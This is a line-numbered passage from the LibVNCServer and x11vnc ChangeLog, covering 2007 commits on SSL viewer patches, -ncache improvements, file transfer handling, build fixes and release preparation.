4022 * ChangeLog, classes/ssl/Makefile.am, classes/ssl/proxy.vnc,
4023 classes/ssl/ss_vncviewer,
4024 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
4025 classes/ssl/ultraproxy.vnc,
4026 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: classes/ssl:
4027 improve timeouts, port fallback, and connection time.
4028
40292007-08-19 runge <runge>
4030
4031 * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/x11vnc.1:
4032 malloc score_hint and make it shorts to save space.
4033
40342007-08-19 runge <runge>
4035
4036 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4037 x11vnc/keyboard.c, x11vnc/ssltools.h, x11vnc/user.c,
4038 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: better -xkb
4039 tie-breaking for up keystrokes. Add Xsrv/FD_XSRV custom server to
4040 FINDCREATEDISPLAY list.
4041
40422007-08-18 runge <runge>
4043
4044 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/solid.c,
4045 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1,
4046 x11vnc/x11vnc_defs.c: x11vnc: improve FINDCREATEDISPLAY (-create)
4047 script, FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc
4048 support
4049
40502007-08-16 runge <runge>
4051
4052 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/user.c,
4053 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add reverse -connect
4054 support to -display WAIT:, fix SSL Fetch cert only for -display
4055 WAIT:
4056
40572007-08-14 dscho <dscho>
4058
4059 * AUTHORS, ChangeLog, libvncclient/rfbproto.c: LibVNCClient: if the
4060 GotRect hook is set, override default op.
4061
40622007-08-04 runge <runge>
4063
4064 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4065 x11vnc/options.h, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc,
4066 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4067 x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -xrefresh,
4068 .DCOPserver bug, -unixpw_unsafe ignores SSH tunnel.
4069
40702007-08-04 runge <runge>
4071
4072 * libvncclient/vncviewer.c: argv > 0 doesn't make sense for a
4073 pointer; assuming argv != NULL.
4074
40752007-07-05 runge <runge>
4076
4077 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4078 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/tkx11vnc,
4079 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/x11vnc.1,
4080 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -debug_ncache, fix
4081 big fonts in tkx11vnc.
4082
40832007-07-05 runge <runge>
4084
4085 * configure.ac, prepare_x11vnc_dist.sh: configure.ac check for
4086 external system libvncserver version. set x11vnc version 0.9.3
4087
40882007-06-18 runge <runge>
4089
4090 * x11vnc/README, x11vnc/options.c, x11vnc/x11vnc.1,
4091 x11vnc/x11vnc_defs.c: x11vnc: set NCACHE -1 for release.
4092
40932007-06-15 runge <runge>
4094
4095 * ChangeLog, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc,
4096 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac,
4097 x11vnc/ChangeLog, x11vnc/README,
4098 x11vnc/misc/enhanced_tightvnc_viewer/README,
4099 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
4100 viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4101 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4102 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4103 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4104 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4105 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c,
4106 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
4107 x11vnc/xevents.c: x11vnc: fix build error if libssl is missing or
4108 --without-ssl supplied.
4109
41102007-05-27 runge <runge>
4111
4112 *
4113 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4114 ll.patch: sync ssvnc unix viewer diffs; fix X cursor size.
4115
41162007-05-27 runge <runge>
4117
4118 * classes/ssl/ss_vncviewer,
4119 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4120 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4121 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4122 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4123 ll.patch: update java viewer and ssvnc.
4124
41252007-05-27 runge <runge>
4126
4127 * configure.ac, x11vnc/README: configure.ac: fix x11vnc
4128 --with-system-libvncserver build and add -R link flag.
4129
41302007-05-27 runge <runge>
4131
4132 * libvncserver-config.in: Fix --libs, echo -n doesn't work
4133 everywhere. Question: why -R only for Solaris??
4134
41352007-05-27 runge <runge>
4136
4137 * x11vnc/Makefile.am: clobbered x11vnc/Makefile.am by mistake.
4138
41392007-05-27 runge <runge>
4140
4141 * ChangeLog, Makefile.am, configure.ac, prepare_x11vnc_dist.sh,
4142 x11vnc/README: configure: make more of a split between libvncserver
4143 and x11vnc pkgs.
4144
41452007-05-26 runge <runge>
4146
4147 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
4148 x11vnc/help.c, x11vnc/options.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
4149 x11vnc/x11vnc_defs.c: x11vnc: in -unixpw, initial Escape means no
4150 echo username.
4151
41522007-05-22 runge <runge>
4153
4154 * classes/ssl/ss_vncviewer: update regular SSL viewer jars; update
4155 ss_vncviewer script.
4156
41572007-05-22 runge <runge>
4158
4159 * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4160 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4161 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4162 ll.patch: update ssvnc (SSVNC_EXTRA_SLEEP), and unix viewer (1/n
4163 menu and chat windows)
4164
41652007-05-22 runge <runge>
4166
4167 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4168 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: set
4169 things up (NCACHE = -1) to not have -ncache on by default.
4170
41712007-05-19 runge <runge>
4172
4173 * classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
4174 libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.1,
4175 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: More fixes to ultra java
4176 viewer, ultrafilexfer debugging output, fix -loop in .x11vncrc case.
4177
41782007-05-17 runge <runge>
4179
4180 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: Pre-C99
4181 declaration error.
4182
41832007-05-17 runge <runge>
4184
4185 * libvncserver/rfbserver.c: In rfbSendFileTransferChunk() check
4186 permitFileTransfer 1st to avoid false alarms.
4187
41882007-05-16 runge <runge>
4189
4190 * prepare_x11vnc_dist.sh: Add UltraViewerSSL.jar, etc. to dist list.
4191
41922007-05-16 runge <runge>
4193
4194 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
4195 libvncserver/tightvnc-filetransfer/rfbtightserver.c: Add logging
4196 output to know when inside tightvnc-filetransfer functions.
4197
41982007-05-16 runge <runge>
4199
4200 * classes/ssl/Makefile.am, classes/ssl/README,
4201 classes/ssl/ss_vncviewer, classes/ssl/ultra.vnc,
4202 classes/ssl/ultrasigned.vnc,
4203 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add SSL support
4204 to UltraVNC Java Viewer (has filetransfer gui). Fix UltraVNC bugs
4205 and improve FTP gui a bit.
4206
42072007-05-16 runge <runge>
4208
4209 * x11vnc/ChangeLog, x11vnc/README,
4210 x11vnc/misc/enhanced_tightvnc_viewer/README,
4211 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4212 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4213 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4214 x11vnc/x11vnc_defs.c: ssvnc: SOCKS support, PORT=, Verify all Certs
4215 and accepted certs logging. x11vnc SSL debugging output.
4216
42172007-05-16 runge <runge>
4218
4219 * libvncserver/rfbserver.c: Drop client if UltraVNC filetransfer is
4220 not enabled.
4221
42222007-05-07 runge <runge>
4223
4224 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4225 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4226 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4227 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc:
4228 Home dir changing, skip enc warning, memory stick doc.
4229
42302007-05-07 runge <runge>
4231
4232 * x11vnc/ChangeLog, x11vnc/README, x11vnc/options.c,
4233 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
4234 x11vnc/xevents.c: x11vnc: lower -wait and -defer to 20ms. Drop
4235 client doing ultravnc stuff in -unixpw during login phase.
4236
42372007-05-05 runge <runge>
4238
4239 * x11vnc/README, x11vnc/connections.c, x11vnc/help.c,
4240 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/unixpw.c,
4241 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/xevents.c: filexfer
4242 warnings and messages.
4243
42442007-05-05 runge <runge>
4245
4246 * configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4247 x11vnc/options.c, x11vnc/options.h, x11vnc/user.c, x11vnc/x11vnc.1,
4248 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add
4249 groups handling for -users mode.
4250
42512007-05-04 runge <runge>
4252
4253 * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c,
4254 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add WAITBG=1 env.
4255 var, add mwm to -create.
4256
42572007-05-01 runge <runge>
4258
4259 * classes/ssl/Makefile.am, classes/ssl/onetimekey,
4260 classes/ssl/ss_vncviewer, x11vnc/ChangeLog, x11vnc/README,
4261 x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c,
4262 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1,
4263 x11vnc/x11vnc_defs.c: ssl: java viewer patches, onetimekey; x11vnc
4264 setsid/setpgrp and -cc 4 for -create
4265
42662007-04-28 runge <runge>
4267
4268 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4269 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README,
4270 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4271 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4272 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4273 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4274 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4275 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c,
4276 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/user.c,
4277 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
4278 -users sslpeer= option. RFB_SSL_CLIENT_CERT, -ncache 10 default
4279
42802007-04-19 runge <runge>
4281
4282 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1,
4283 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: set to next release
4284 (0.9.1)
4285
42862007-04-19 runge <runge>
4287
4288 *
4289 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4290 ll.patch: Add latest vncviewer patch.
4291
42922007-04-19 runge <runge>
4293
4294 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4295 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4296 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4297 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
4298 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Sync with
4299 SSVNC 1.0.15
4300
43012007-04-18 runge <runge>
4302
4303 * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1,
4304 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: small changes for 0.9
4305 release.
4306
43072007-04-08 runge <runge>
4308
4309 * prepare_x11vnc_dist.sh: change x11vnc version to 0.9
4310
43112007-04-07 dscho <dscho>
4312
4313 * configure.ac: prepare for release of LibVNCServer 0.9
4314
43152007-04-07 runge <runge>
4316
4317 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4318 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c,
4319 x11vnc/x11vnc.1: x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY
4320 tags.
4321
43222007-04-07 runge <runge>
4323
4324 * classes/ssl/ss_vncviewer,
4325 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: update
4326 viewer jars and ss script
4327
43282007-04-07 runge <runge>
4329
4330 * x11vnc/README, x11vnc/connections.c, x11vnc/help.c,
4331 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/v4l.c,
4332 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: java
4333 ingoreProxy, fix old libssl free_func problem
4334
43352007-04-06 dscho <dscho>
4336
4337 * AUTHORS, ChangeLog, rfb/rfbclient.h: rfbclient.h: use 'extern "C"'
4338 to make it convenient to include from C++
4339
43402007-04-06 dscho <dscho>
4341
4342 * AUTHORS, ChangeLog, rfb/rfb.h: rfb.h: Do not misplace guards This buglet made it impossible to double include rfb.h from C++.
4343
43442007-03-30 dscho <dscho>
4345
4346 * prepare_x11vnc_dist.sh: build x11vnc with static libraries (at
4347 least for now) Maybe at a later stage, we want x11vnc to pick up on existing
4348 libvncserver.so and libvncclient.so, but right now, x11vnc and the
4349 libraries progress together (and thus it is better to build static,
4350 necessarily up-to-date libraries for x11vnc).
4351
43522007-03-30 dscho <dscho>
4353
4354 * AUTHORS, ChangeLog, acinclude.m4, client_examples/Makefile.am,
4355 configure.ac, contrib/Makefile.am, examples/Makefile.am,
4356 libvncclient/Makefile.am, libvncserver/Makefile.am, ltmain.sh,
4357 test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: Build
4358 shared libraries per default Thanks to Guillaume Rousse, we now use libtool to build shared
4359 libraries.
4360
43612007-03-25 runge <runge>
4362
4363 * x11vnc/README, x11vnc/pm.c, x11vnc/scan.c, x11vnc/user.c,
4364 x11vnc/userinput.c, x11vnc/xevents.c: x11vnc: remove build errors,
4365 get -ncache working on macosx again.
4366
43672007-03-24 runge <runge>
4368
4369 * libvncserver/cursor.c: Fix short vs. char problem with X cursors.
4370 Have fg == bg == 0 imply interpolation to B&W.
4371
43722007-03-24 runge <runge>
4373
4374 * classes/ssl/ss_vncviewer,
4375 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: reverse
4376 connections for ss_vncviewer. java one-time-keys.
4377
43782007-03-24 runge <runge>
4379
4380 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4381 x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c,
4382 x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4383 x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4384 x11vnc/x11vnc_defs.c: x11vnc: reverse SSL connections. -sleepin
4385 option.
4386
43872007-03-24 runge <runge>
4388
4389 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4390 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4391 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4392 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4393 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4394 ll.patch: reverse (listening) VNC connections.
4395
43962007-03-20 runge <runge>
4397
4398 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4399 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
4400 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4401 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4402 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4403 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4404 ll.patch: ssvnc: sync to 1.0.13 release.
4405
44062007-03-20 runge <runge>
4407
4408 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
4409 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
4410 x11vnc/sslhelper.c, x11vnc/user.c, x11vnc/x11vnc.1,
4411 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -httpsredir,
4412 x11cursor fix, nc=N login opt, no -ncache betatest for java viewer.
4413
44142007-03-20 runge <runge>
4415
4416 * ChangeLog, libvncserver/httpd.c: Add "Connection: close" to HTTP
4417 replies.
4418
44192007-03-17 dscho <dscho>
4420
4421 * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c:
4422 Fix a locking problem in libvncserver There seems to be a locking problem in libvncserver, with respect to
4423 how condition variables are used. On certain machines in our lab, when using a vncviewer to view a
4424 display that has a very high rate of updates, we will occasionally
4425 see the VNC server process crash. In one stack trace that was
4426 obtained, an assertion had tripped in glibc's pthread_cond_wait,
4427 which was called from clientOutput. Inspection of clientOutput suggests that WAIT is being called
4428 incorrectly. The mutex that protects a condition variable should
4429 always be locked when calling wait, and on return from the wait will
4430 still be locked. The attached patch fixes the locking around this
4431 condition variable, and one other that I found by grepping the
4432 source for similar occurrences. Signed-off-by: Charles Coffing <ccoffing@novell.com>
4433
44342007-03-13 runge <runge>
4435
4436 *
4437 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4438 ll.patch: ssvnc: sync src/patches/tight-vncviewer-full.patch
4439
44402007-03-13 runge <runge>
4441
4442 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c,
4443 x11vnc/screen.c, x11vnc/solid.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4444 x11vnc/x11vnc_defs.c: x11vnc: fix crash for kde dcop. limit ncache
4445 beta tester to 96MB viewers.
4446
44472007-02-19 runge <runge>
4448
4449 * x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
4450 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4451 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4452 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
4453 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4454 ll.patch: ssvnc: more fixes for painting problems.
4455
44562007-02-19 runge <runge>
4457
4458 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4459 x11vnc/x11vnc_defs.c: x11vnc: fix -users bob= in -inetd mode.
4460
44612007-02-19 runge <runge>
4462
4463 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4464 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4465 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4466 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4467 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4468 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4469 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4470 ll.patch: store 1.0.12 snapshot.
4471
44722007-02-19 runge <runge>
4473
4474 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
4475 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: Get
4476 ultravnc textchat working with ssvnc.
4477
44782007-02-17 runge <runge>
4479
4480 * x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1:
4481 x11vnc: make https fetch in accept_openssl() work again.
4482
44832007-02-16 runge <runge>
4484
4485 * x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h,
4486 x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c,
4487 x11vnc/keyboard.h, x11vnc/remote.c, x11vnc/screen.c,
4488 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
4489 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add
4490 Files mode to user controlled input. more ultra/tight filexfer
4491 tweaks. rfbversion remote control. noncache/nc unixpw user opt.
4492
44932007-02-16 runge <runge>
4494
4495 * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c,
4496 x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c,
4497 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
4498 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4499 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4500 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc:
4501 tightvnc filetransfer off by default. FINDCREATEDISPLAY geometry.
4502
45032007-02-12 runge <runge>
4504
4505 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
4506 x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c,
4507 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
4508 x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
4509 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4510 x11vnc/x11vnc_defs.c: x11vnc: add avahi (aka
4511 mDNS/Zeroconf/Bonjour...) support thanks to Diego Petteno. add -find
4512 -create
4513
45142007-02-12 runge <runge>
4515
4516 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4517 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c,
4518 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
4519 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
4520 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4521 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h,
4522 x11vnc/xwrappers.c: x11vnc: -grabalways, -forcedpms, -clientdpms,
4523 -noserverdpms, -loopbg, -svc, -xdmsvc
4524
45252007-02-10 runge <runge>
4526
4527 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4528 x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h,
4529 x11vnc/scan.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
4530 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c,
4531 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4532 x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: watch textchat, etc in
4533 unixpw, implement kbdReleaseAllKeys, setSingleWindow,
4534 setServerInput. watch for OpenGL apps breaking XDAMAGE.
4535
45362007-02-05 runge <runge>
4537
4538 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4539 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4540 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4541 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4542 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4543 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4544 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
4545 ll.patch: ssvnc 1.0.11 files.
4546
45472007-02-05 runge <runge>
4548
4549 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1,
4550 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Setup for x11vnc 0.8.5
4551
45522007-02-01 dscho <dscho>
4553
4554 * ChangeLog, libvncclient/rfbproto.c, libvncclient/vncviewer.c,
4555 rfb/rfbclient.h: LibVNCClient: some users do not want to get
4556 whole-screen updates; introduce client->updateRect for that
4557
45582007-02-01 dscho <dscho>
4559
4560 * libvncclient/zrle.c: sometimes zrle sends too many bytes; play
4561 safe
4562
45632007-01-31 runge <runge>
4564
4565 * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c,
4566 x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c,
4567 x11vnc/xdamage.c, x11vnc/xevents.c: fix warnings.
4568
45692007-01-31 runge <runge>
4570
4571 * ChangeLog: libvncclient changes.
4572
45732007-01-31 runge <runge>
4574
4575 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
4576 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
4577 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c,
4578 x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
4579 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
4580 wfbsize.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
4581 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
4582 x11vnc/screen.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/ssltools.h,
4583 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
4584 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c,
4585 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4586 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
4587 x11vnc/xevents.c: x11vnc: -reflect, -N. -ncache, FINDDISPLAY,
4588 FINDCREATEDISPLAY, improvements. MODTWEAK_LOWEST workaround.
4589
45902007-01-31 runge <runge>
4591
4592 * Makefile.am, libvncclient/cursor.c, libvncclient/rfbproto.c,
4593 libvncclient/vncviewer.c, prepare_x11vnc_dist.sh, rfb/rfbclient.h:
4594 libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on
4595 libvncclient
4596
45972007-01-25 dscho <dscho>
4598
4599 * libvncserver/rfbserver.c: compile fix for MinGW
4600
46012007-01-25 dscho <dscho>
4602
4603 * VisualNaCro/Makefile.am: complain when SWIG is not present, but
4604 needed
4605
46062007-01-25 dscho <dscho>
4607
4608 * VisualNaCro/configure.ac: Complain if libvncserver-config was not
4609 found in PATH
4610
46112007-01-10 runge <runge>
4612
4613 * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
4614 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc,
4615 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h,
4616 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4617 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
4618 x11vnc/xinerama.c, x11vnc/xrandr.h: some -ncache performance
4619 improvements, rootpixmap watching, gnome wm heuristics
4620
46212007-01-09 runge <runge>
4622
4623 * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1,
4624 x11vnc/x11vnc_defs.c: Fix old compiler error; fix warnings.
4625
46262007-01-09 runge <runge>
4627
4628 * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
4629 x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/solid.h,
4630 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4631 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: more speed and accuracy
4632 improvements to -ncache mode.
4633
46342007-01-07 runge <runge>
4635
4636 * x11vnc/README, x11vnc/options.c, x11vnc/userinput.c,
4637 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
4638 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: changes to ncache cache
4639 aging and xdamage skipping
4640
46412007-01-04 runge <runge>
4642
4643 * x11vnc/ChangeLog, x11vnc/README, x11vnc/userinput.c,
4644 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4645 x11vnc/xdamage.c: x11vnc: more -ncache improvements.
4646
